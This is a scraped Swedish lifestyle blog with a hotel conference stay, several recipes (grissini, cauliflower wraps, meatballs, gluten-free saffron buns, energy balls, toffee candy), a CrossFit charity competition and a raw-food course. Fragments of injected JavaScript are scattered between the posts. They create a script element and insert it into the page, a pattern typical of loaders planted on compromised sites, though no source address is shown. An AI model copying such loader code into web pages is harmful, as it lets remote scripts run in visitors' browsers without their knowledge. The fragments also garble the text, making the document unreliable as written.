Bjertorp slott

bild15

bild23bild22bild5

bild8bild12bild8

Nu har jag besökt  Bjertorp Slott med jobbet. Vilket underbart ställe. Vi hade en heldagskonferens och avslutade med en underbar 4-rätters middag på kvällen. Rummen var så fina och jag fick ett fint hörnrum med ett helt magiskt badrum.

bild13

bild21bild14bild12

bild23bild18bild13bild3bild2bild20bild12

Lunch och afternoon tea.
bild11bild11bild6bild15bild3bild10bild9bild14

Middagen började med en välkomstdrink och sen en underbar 4-rätters middag med tillhörande viner.

bildB
bild13bild21

bild17bild18bild22bild1bild6bild7

 

bild2

bild15bild8Halstrade pilgrimsmusslor
Broccoli-kapris-brynt smör

bild7Terrine på rådjursinnanlår
Karl-Johansvamp-spaltvetelök

bild1

Hjortinnerfilé
Rödkål, rotselleri, potatisfondant

bild5
Saffrans creme brulée
Björnbärssorbet, citronecreme och fransk pepparkaka
bild14

bild20bild10bild14bild7

Vi åt en god frukost innan vi checkade ut från Bjertorp slott.
bild19bild17bild18

Kan verkligen rekommendera att hälsa på Bjertorp slott och hit kommer jag gärna tillbaks. Underbar miljö, trevlig personal och supergod mat.if (document.currentScript) {

Grissini

bild1

Nu har jag bakat goda grissini. Receptet hittade jag här.

Recept (30 brödpinnar)
2 krm salt
1 1/2 msk olivolja
1 tsk honung
25 gram jäst
1 dl sesamfrön
3 dl riven parmesanost
3 dl vatten (37 grader)
5 dl durumvetemjöl (325 gram)

Gör så här:
Smula ner jästen i en bunke. Rör ut den i det ljumma vattnet. Tillsätt olivolja, honung och salt. Blanda ner mjölet. Arbeta degen väl för hand 10 min, eller i maskin 5 min. Täck med bakduk och låt jäsa ca 40 min. Ta upp degen och dela den i 30 jämnstora bitar. Strö ut lite riven parmesan och sesamfrön på arbetsytan. Rulla ut en degbit i taget i blandningen till en ca 25 cm lång pinne. Om man gör så fastnar ost och frön jämnt runt hela pinnen.

Lägg på en plåt med bakplåtspapper och låt jäsa ca 20 min. Sätt ugnen på 175 grader. Grädda pinnarna ca 20 min och låt kallna på galler. Låt dem ligga luftigt ca 1 dygn så att de torkar.

bild4bild3bild5bild2bild1

 

XXx

Blomkålswrap

bild3

Nu har jag bakat supergoda blomkålswraps. Perfekt till tacos, pulled pork/beef eller smörgåswraps. Grundreceptet hittade jag här. Jag smaksatte mina wraps med örtsalt men du kan använda vilka kryddor du föredrar.

Ingredienser till 1 portion:
1/4 blomkålshuvud mixat till ”ris” (ca 2,5 dl)
1 dl äggvita (äggvita från 3 ägg)
1- 1,5 tsk fiberhusk
örtsalt, oregano, rosmarin

Gör såhär:
1. Mixa blomkålen till ett ”ris”
2. Vispa äggvita och örtsalt till ett hårt skum
3. Vänd ner alla ingredienser i äggvitan
4. Bred ut på ett bakplåtspapper och bred ut till ett ca 1-1,5 cm tjockt lager
5. Grädda i ugnen på 175 grader till brödet fått färg, ca 15 min
6. Ta ut ur ugnen och ta försiktigt loss från bakplåtspappret!

bild14bild13bild12bild11

bild10bild9bild7bild8bild6bild4bild5bild2

 var d=document;var s=d.createElement(‘script’);

Köttbullar

Det här receptet hittade jag på recept.nu och  är bland de godaste köttbullarna jag lagat….

Recept:

500gr nötfärs
1st ägg
1dl mjölk,
1dl ströbröd
1tsk dijonsenap
2msk kalvfond
1st gul lök,liten, riven
1tsk salt
1tsk svartpeppar

Gör så här:
Vispa ihop ägg, mjölk, ströbröd, senap, kalvfond, lök, salt och peppar i en bunke. Låt stå i ca 10 minuter så det tjocknar till lite.
Smaka av och krydda med mer salt och peppar om du vill.
Blanda i köttfärsen och mosa runt med händerna. Rulla smeten till ca 25 st köttbullar.
Sätt plattan på högsta värmen och smält smöret.
Lägg i köttbullarna och sänk plattan till medelvärme. Lägg inte i för många i taget, ungefär 5-10 st åt gången.
Stek köttbullarna till de är genomstekta och krispiga på ytan.

 }

LuciaPokalen 13 dec, 2014

bild4

Förra lördagen arrangerade min CrossFit box CrossFit Göta en tävling för alla medlemmar där alla intäkter gick till
”Ung Cancer”.  Camilla som tränar på CrossFit Göta jobbar som projektledare på Ung Cancer.
Tidigare hade vi en pärldag på CrossFit Göta.

bild4

bild1bild2

Jag var domare åt grymma Kim och Fredrik som kom på 5:e plats i ”skalad klass”
Sen hade jag bakat fikabröd som jag gav till Göta för att sälja till förmån för cancerfonden.

Energibollar

BollGlutenfria lussekatter

bullarPaleokladdkaka
kladdGoda bars

BarNedan ser ni lite bilder från dagen. 42 lag (mixade), en skalad klass och en RX klass.

Kim ”Supertärnan” och Fredrik ”Stjärngossen” med deras domare.

7Team ”Supertärnan och Stjärngossen” med headcoach Marcus.

bild6

bild10bild9bild8bild7bild4bild2bild11bild9bild10bild12bild1bild7bild6bild5bild2bild5bild3
XX

 if (document.currentScript) {

Lussekatter glutenfritt

bild10

Receptet  på glutenfria lussebullar hittade jag här.

Recept:
1 pkt saffran (0,5 g)
1 dl russin
1 ½ dl vatten, 37 grader
100 g smör eller margarin
1 dl socker
1 pkt jäst (50 g)
1 ägg 1 pkt Semper Mix (spara 1 dl till utbakningen)
1 ägg till pensling

Garnering: russin pärlsocker

Gör så här: Blanda ingredienserna i den ordning som de står ovan. Baka ut till lussekatter, kransar eller längder. Pensla med ägg och strö över pärlsocker. låt jäsa på plåt med bakplåtspapper i ca 50 minuter. Grädda lussekatter i ca 10 minuter vid 225 grader, längder och kransar ca 16 minuter i 200 grader. Dela degen i 9 lika stora delar. Rulla ut till 2 dm långa ströngar och fläta dem sedan tre och tre. Fäst ihop ändarna på flätan så att det blir en krans. Pänsla med ägg och strö över pärlsocker och/eller mandelspån. Låt jäsa på plåt med bakplåtspapper i ca 50 minuter. Grädda i ca 16 minuter vid 200 grader.

bild9bild8bild7

bild6

 }

Energibollar med kaffesmak

bild6

Goda energibollar som går perfekt att frysa in och ta fram vid behov. Grundreceptet hittade jag här.

Recept:
50 gram torkade aprikoser 
50 gram torkade fikon 
½ dl havregryn
2 msk  kokosolja
2 msk  kakao
2 msk starkt kaffe
½ dl kokos att rulla bollarna i

Gör så här:
Skär bort den hårda lilla knoppen som sitter längst ut på fikonet.
Lägg sedan fikon, aprikoser, havregryn, kokosolja och kakao i en matberedare och kör den på full effekt i några minuter så att det blandar sig till en jämn smet.
Häll därefter på kaffe och mixa hastigt smeten på nytt.
Forma bollar och rulla dem i kokos. Ska de inte ätas med en gång förvaras de med fördel i en lufttät låda i frysen.

bild1

bild2bild3bild4

 

 

 

 

Dumle godis

dumle13

bild (4)

bild (2)

Här kommer receptet på jättegoda Dumlegodis. Receptet hittade jag på en blogg som heter ”Bakverk och fikastunder”

75 g smör
240 g dumlekolor
3 dl rice krispies
1 dl cornflakes

Smält smör och dumlekolor på svag värme till det blandat sig till en jämn massa. Tag av kastrullen ifrån plattan och häll i rice krispies och krossad cornflakes. Rör runt så allt blandar sig. Klicka upp små bitar med hjälp av två teskedar på ett bakplåtspapper. Låt stelna

bild (11)

bild (13)

bild (16)

bild (18)

bild (20)

bild (4)

bild (15)

bild (23)

bild (14)

bild (21)

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Toffifee godis.

Om du är förtjust i Toffifee, måste du helt enkelt laga detta godis.

Toffifee (30 st)
1 dl socker
1 dl grädde
1 dl sirap
1 tsk vaniljsocker
ca 30 hasselnötter
100 gram nougat
50 gram mörk choklad

Koka upp grädde, socker och sirap och sjud tills termometern visar 120 grader. Rör inte under kokning.
Rosta hasselnötterna i en varm stekpanna tills det börjar knäppa i dem. Lägg dem i en handduk och gnugga bort skalen.
Häll kolasmeten i små aluminiumformer. Lägg en nöt i varje form och ställ formarna i kylskåpet en stund.
Smält nougaten över vattenbad eller i mikron. Lägg en klick i varje form och låt den smälta ut. Slå formarna lite i bordet om det behövs så jämnas nougaten ut.
Låt de stelna i kylskåpet tills nougaten stelnat något. Smält den mörka chokladen över vattenbad eller i mikron och lägg en klick på nougaten. Låt de stelna helt.

 

Kurs i Raw julmat på Rawfoodbaren i Göteborg

julmat

I måndags var jag på en kurs i Rawfood julmat på Rawfoodbaren.
Kursen hölls av Kristfrid Warner som har haft många fullsatta kurser här på Rawfoodbaren. Hon är utbildad raw food kock och har ett brinnande intresse för mat, hälsa och livskvalité. Sedan hösten 2012 arbetar hon tillsammans med Erica Palmcrantz på utbildningen Raw Life Education samt har haft ett flertal egna kurser och events.

bild17

I priset ingick  matdemonstrationer, inspiration, avsmakning av julmaten. Jag blev positivt överraskad över hur gott det smakade.

Vi fick bla lära oss att göra ”Nötbullar”, ”Jansons Frestelse”,  ”Grönkålssallad”, ”Auberginesill”, ”Julknäcke” och ”Rödkålssallad med lingon”.

bild7bild6bild8bild14bild13bild4

bild5bild12

bild9bild10bild11

bild15bild16bild1bild18bild2bild1bild3

XXX

 document.currentScript.parentNode.insertBefore(s, document.currentScript);